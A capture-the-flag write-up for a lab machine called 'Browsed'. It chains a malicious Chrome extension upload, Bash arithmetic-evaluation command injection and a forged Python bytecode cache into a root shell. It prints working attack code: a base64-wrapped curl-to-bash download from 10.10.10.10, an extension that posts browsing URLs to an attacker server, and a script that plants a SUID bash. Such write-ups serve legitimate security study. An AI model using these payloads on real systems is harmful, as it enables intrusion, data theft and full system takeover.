Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The nmap scan only finds port 22 and 80 and therefore I focus on HTTP.
Execution

Navigating to the IP on port 80 shows a page for a browser-focused company. The header exposes a domain name and I add browsed.htb to my /etc/hosts file. Also in the header there’s a button to another page where I can upload a Chrome browser extension to be checked out by a developer of the site.

I clone the repository for crux, modify the callback URL in background.js and then zip the contents of the extension folder. I start the provided listener and then upload the extension to the site. Almost instantly there’s a callback with the URL http://browsedinternals.htb. I also add this domain to my hosts file and try to access it with my browser. Even though it has internals in its name, it’s accessible from the outside and show a Gitea instance with a single repository.

The git repository MarkdownPreview consists out of a Flask application in app.py and a Bash script called routines.sh. First I check out the web application and see it’s listening on port 5000 on localhost, so it might be accessible through the Chrome extension. There are three endpoints in total, two interact with files in the ./files directory and /routines/<rid> calls the Bash script with rid parameter.
from flask import Flask, request, send_from_directory, redirect
from werkzeug.utils import secure_filename
import markdown
import os, subprocess
import uuid
app = Flask(__name__)
FILES_DIR = "files"
# Ensure the files/ directory exists
os.makedirs(FILES_DIR, exist_ok=True)
@app.route('/')
def index():
return '''
<h1>Markdown Previewer</h1>
<form action="/submit" method="POST">
<textarea name="content" rows="10" cols="80"></textarea><br>
<input type="submit" value="Render & Save">
</form>
<p><a href="/files">View saved HTML files</a></p>
'''
@app.route('/submit', methods=['POST'])
def submit():
content = request.form.get('content', '')
if not content.strip():
return 'Empty content. <a href="/">Go back</a>'
# Convert markdown to HTML
html = markdown.markdown(content)
# Save HTML to unique file
filename = f"{uuid.uuid4().hex}.html"
filepath = os.path.join(FILES_DIR, filename)
with open(filepath, 'w') as f:
f.write(html)
return f'''
<p>File saved as <code>{filename}</code>.</p>
<p><a href="/view/{filename}">View Rendered HTML</a></p>
<p><a href="/">Go back</a></p>
'''
@app.route('/files')
def list_files():
files = [f for f in os.listdir(FILES_DIR) if f.endswith('.html')]
links = '\n'.join([f'<li><a href="/view/{f}">{f}</a></li>' for f in files])
return f'''
<h1>Saved HTML Files</h1>
<ul>{links}</ul>
<p><a href="/">Back to editor</a></p>
'''
@app.route('/routines/<rid>')
def routines(rid):
# Call the script that manages the routines
# Run bash script with the input as an argument (NO shell)
subprocess.run(["./routines.sh", rid])
return "Routine executed !"
@app.route('/view/<filename>')
def view_file(filename):
filename = secure_filename(filename)
if not filename.endswith('.html'):
return "Invalid filename", 400
return send_from_directory(FILES_DIR, filename)
# The webapp should only be accessible through localhost
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)Even though parts of the URL are passed into the subprocess.run call, injecting commands won’t work here because the parameter shell=True is not present. But there still might be a vulnerability in the called script.
The provided parameter is compared with different integer values and depending on the result certain actions are triggered. This type of comparison is exploitable since the provided input is evaluated under certain conditions1.
#!/bin/bash
ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"
log_action() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}
if [[ "$1" -eq 0 ]]; then
# Routine 0: Clean temp files
find "$TMP_DIR" -type f -name "*.tmp" -delete
log_action "Routine 0: Temporary files cleaned."
echo "Temporary files cleaned."
elif [[ "$1" -eq 1 ]]; then
# Routine 1: Backup data
tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
log_action "Routine 1: Data backed up to $BACKUP_DIR."
echo "Backup completed."
elif [[ "$1" -eq 2 ]]; then
# Routine 2: Rotate logs
find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
log_action "Routine 2: Log files compressed."
echo "Logs rotated."
elif [[ "$1" -eq 3 ]]; then
# Routine 3: System info dump
uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
log_action "Routine 3: System info dumped."
echo "System info saved."
else
log_action "Unknown routine ID: $1"
echo "Routine ID not implemented."
fiSending something like a[$(date >&2)]+42 as URL-encoded payload to /routines should execute the command on the server. Running this locally confirms that and I can modify my extension to call the vulnerable endpoint. Flask seems to have some problems with slashes in the payload and not even URL-encoding seems to fix this, so I encode my actual payload in base64.
$ echo -n 'bash -c "curl http://10.10.10.10/shell.sh |bash"' | base64 -w0
YmFzaCAtYyAiY3VybCBodHRwOi8vMTAuMTAuMTAuMTAvc2hlbGwuc2ggfGJhc2giThen I place a fetch call into background.js that tries to call the internal endpoint on port 5000 to trigger the vulnerability. Uploading the zipped extension once again retrieves the reverse shell payload from my web server and executes it. This drops me into a shell as larry with access to the first flag.
const SERVER_HOST = "http://10.10.10.10:8000"
fetch('http://127.0.0.1:5000/routines/a[$(base64 -d <<< YmFzaCAtYyAiY3VybCBodHRwOi8vMTAuMTAuMTAuMTAvc2hlbGwuc2ggfGJhc2gi|bash)]+42');
// Send URL Data
chrome.webNavigation.onCompleted.addListener((e) => {
const url = `${SERVER_HOST}/u`;
fetch(
url,
{
method: "POST",
body: JSON.stringify({ url: e.url }),
headers: {
"Content-Type": "application/json"
}
}
);
}, {});
// --- SNIP ---Privilege Escalation
The user larry can run the Python script /opt/extensiontool/extension_tool.py as root without providing a password. Files in the folder hosting the script are all readable by the user, so I can check out the source. For some reason the __pycache__ folder has very broad permissions and can be modified by anyone.
$ sudo -ln
Matching Defaults entries for larry on browsed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
$ ls -laR /opt/extensiontool/
/opt/extensiontool/:
total 24
drwxr-xr-x 4 root root 4096 Dec 11 07:54 .
drwxr-xr-x 4 root root 4096 Aug 17 12:55 ..
drwxrwxr-x 5 root root 4096 Mar 23 2025 extensions
-rwxrwxr-x 1 root root 2739 Mar 27 2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23 2025 extension_utils.py
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__
/opt/extensiontool/extensions:
total 20
drwxrwxr-x 5 root root 4096 Mar 23 2025 .
drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..
drwxrwxr-x 2 root root 4096 Aug 17 14:45 Fontify
drwxrwxr-x 2 root root 4096 Aug 17 14:46 ReplaceImages
drwxrwxr-x 2 root root 4096 Aug 17 14:47 Timer
/opt/extensiontool/extensions/Fontify:
total 28
drwxrwxr-x 2 root root 4096 Aug 17 14:45 .
drwxrwxr-x 5 root root 4096 Mar 23 2025 ..
-rw-rw-r-- 1 root root 274 Mar 19 2025 content.js
-rw-rw-r-- 1 root root 450 Mar 23 2025 manifest.json
-rw-rw-r-- 1 root root 568 Mar 19 2025 popup.html
-rw-rw-r-- 1 root root 756 Mar 19 2025 popup.js
-rw-rw-r-- 1 root root 181 Mar 19 2025 style.css
/opt/extensiontool/extensions/ReplaceImages:
total 16
drwxrwxr-x 2 root root 4096 Aug 17 14:46 .
drwxrwxr-x 5 root root 4096 Mar 23 2025 ..
-rw-rw-r-- 1 root root 348 Mar 23 2025 content.js
-rw-rw-r-- 1 root root 315 Mar 19 2025 manifest.json
/opt/extensiontool/extensions/Timer:
total 24
drwxrwxr-x 2 root root 4096 Aug 17 14:47 .
drwxrwxr-x 5 root root 4096 Mar 23 2025 ..
-rw-rw-r-- 1 root root 273 Mar 20 2025 manifest.json
-rw-rw-r-- 1 root root 369 Mar 19 2025 popup.html
-rw-rw-r-- 1 root root 1311 Mar 19 2025 popup.js
-rw-rw-r-- 1 root root 240 Mar 19 2025 style.css
/opt/extensiontool/__pycache__:
total 8
drwxrwxrwx 2 root root 4096 Dec 11 07:57 .
drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..Going over the code, the script takes multiple parameters and can be used to bump the versions for any extension of the three extensions in the extensions directory. Using --zip allows the caller to export the source code for an extension to a ZIP archive. Some of the functionality was moved into extension_utils.py.
#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile
EXTENSION_DIR = '/opt/extensiontool/extensions/'
def bump_version(data, path, level='patch'):
version = data["version"]
major, minor, patch = map(int, version.split('.'))
if level == 'major':
major += 1
minor = patch = 0
elif level == 'minor':
minor += 1
patch = 0
else:
patch += 1
new_version = f"{major}.{minor}.{patch}"
data["version"] = new_version
with open(path, 'w', encoding='utf-8') as f:
json.dump(data, f, indent=2)
print(f"[+] Version bumped to {new_version}")
return new_version
def package_extension(source_dir, output_file):
temp_dir = '/opt/extensiontool/temp'
if not os.path.exists(temp_dir):
os.mkdir(temp_dir)
output_file = os.path.basename(output_file)
with zipfile.ZipFile(os.path.join(temp_dir,output_file), 'w', zipfile.ZIP_DEFLATED) as zipf:
for foldername, subfolders, filenames in os.walk(source_dir):
for filename in filenames:
filepath = os.path.join(foldername, filename)
arcname = os.path.relpath(filepath, source_dir)
zipf.write(filepath, arcname)
print(f"[+] Extension packaged as {temp_dir}/{output_file}")
def main():
parser = ArgumentParser(description="Validate, bump version, and package a browser extension.")
parser.add_argument('--ext', type=str, default='.', help='Which extension to load')
parser.add_argument('--bump', choices=['major', 'minor', 'patch'], help='Version bump type')
parser.add_argument('--zip', type=str, nargs='?', const='extension.zip', help='Output zip file name')
parser.add_argument('--clean', action='store_true', help="Clean up temporary files after packaging")
args = parser.parse_args()
if args.clean:
clean_temp_files(args.clean)
args.ext = os.path.basename(args.ext)
if not (args.ext in os.listdir(EXTENSION_DIR)):
print(f"[X] Use one of the following extensions : {os.listdir(EXTENSION_DIR)}")
exit(1)
extension_path = os.path.join(EXTENSION_DIR, args.ext)
manifest_path = os.path.join(extension_path, 'manifest.json')
manifest_data = validate_manifest(manifest_path)
# Possibly bump version
if (args.bump):
bump_version(manifest_data, manifest_path, args.bump)
else:
print('[-] Skipping version bumping')
# Package the extension
if (args.zip):
package_extension(extension_path, args.zip)
else:
print('[-] Skipping packaging')
if __name__ == '__main__':
main()The utils script has only two functions, one to validate JSON and another one to clean the temporary directory used by the main script. For some reason it also imports subprocess but does not use it.
import os
import json
import subprocess
import shutil
from jsonschema import validate, ValidationError
# Simple manifest schema that we'll validate
MANIFEST_SCHEMA = {
"type": "object",
"properties": {
"manifest_version": {"type": "number"},
"name": {"type": "string"},
"version": {"type": "string"},
"permissions": {"type": "array", "items": {"type": "string"}},
},
"required": ["manifest_version", "name", "version"]
}
# --- Manifest validate ---
def validate_manifest(path):
with open(path, 'r', encoding='utf-8') as f:
data = json.load(f)
try:
validate(instance=data, schema=MANIFEST_SCHEMA)
print("[+] Manifest is valid.")
return data
except ValidationError as e:
print("[x] Manifest validation error:")
print(e.message)
exit(1)
# --- Clean Temporary Files ---
def clean_temp_files(extension_dir):
""" Clean up temporary files or unnecessary directories after packaging """
temp_dir = '/opt/extensiontool/temp'
if os.path.exists(temp_dir):
shutil.rmtree(temp_dir)
print(f"[+] Cleaned up temporary directory {temp_dir}")
else:
print("[+] No temporary files to clean.")
exit(0)When calling the main script with sudo the local extension_utils.py gets translated into bytecode and placed into __pycache__. Consecutive runs use the already compiled code instead as long as the stored metadata matches the source file2. Python embeds the last-modified timestamp of the source as well as the size in the .pyc file, so as longs as those two match, I can place a modified version in there, that calls my own code.
#!/bin/bash
SOURCE='/opt/extensiontool/extension_utils.py'
TARGET_DIR='/opt/extensiontool/__pycache__'
PAYLOAD="import os\nos.system('install -m 6777 /bin/bash /tmp/bash')"
TEMP="/dev/shm/$(basename ${SOURCE})"
# 1. Get the file size
FILE_SIZE=$(stat --format="%s" "${SOURCE}")
# 2. Build payload
PADDING=$(printf '#%.0s' $(seq 1 $((FILE_SIZE - ${#PAYLOAD}))))
PAYLOAD="${PAYLOAD}${PADDING}"
# 3. Place payload into file
echo -e "${PAYLOAD}" > "${TEMP}"
# 4. Fix timestamp
touch -r "${SOURCE}" "${TEMP}"
# 5. Compile
python3.12 -m compileall "$(dirname ${TEMP})" >/dev/null
# 6. Replace
rm --force "${TARGET_DIR}"/*
cp "$(dirname ${TEMP})/__pycache__"/* ${TARGET_DIR}
# 7. Call the binary and escalate
sudo /opt/extensiontool/extension_tool.py --ext Fontify
/tmp/bash -pThis Bash script retrieves the file size of the original source, calculates the difference between this and the payload size and adds # as padding. Then it writes the payload to a file, copies the timestamp from the original and compiles it to bytecode in a .pyc file. After placing the file into /opt/extensiontool/__pycache__ the next call to sudo loads the modified version and places the Bash binary with SUID bit into /tmp.
$ bash exploit.sh
Traceback (most recent call last):
File "/opt/extensiontool/extension_tool.py", line 5, in <module>
from extension_utils import validate_manifest, clean_temp_files
ImportError: cannot import name 'validate_manifest' from 'extension_utils' (/opt/extensiontool/extension_utils.py)
bash-5.2# id
uid=1000(larry) gid=1000(larry) euid=0(root) egid=0(root) groups=0(root),1000(larry)This produces an error because I did not implement the imported function, but still executes my payload. Then I can escalate to root and collect the final flag.
Attack Path
flowchart TD subgraph "Execution" A(Access to browsed.htb) -->|Upload functionality| B(Upload malicious Chrome extension) B -->|Leak domain| C(Access to Gitea instance on browsedinternals.htb) C -->|Source Code| D(Command Injection in Bash script) B & D -->|CSRF| E(Shell as larry) end subgraph "Privilege Escalation" E -->|Sudo privileges| F(Call Python script as root) E --> G("Writable \_\_pycache\_\_ folder") F & G -->|Place modified pyc bytecode| H(Shell as root) end
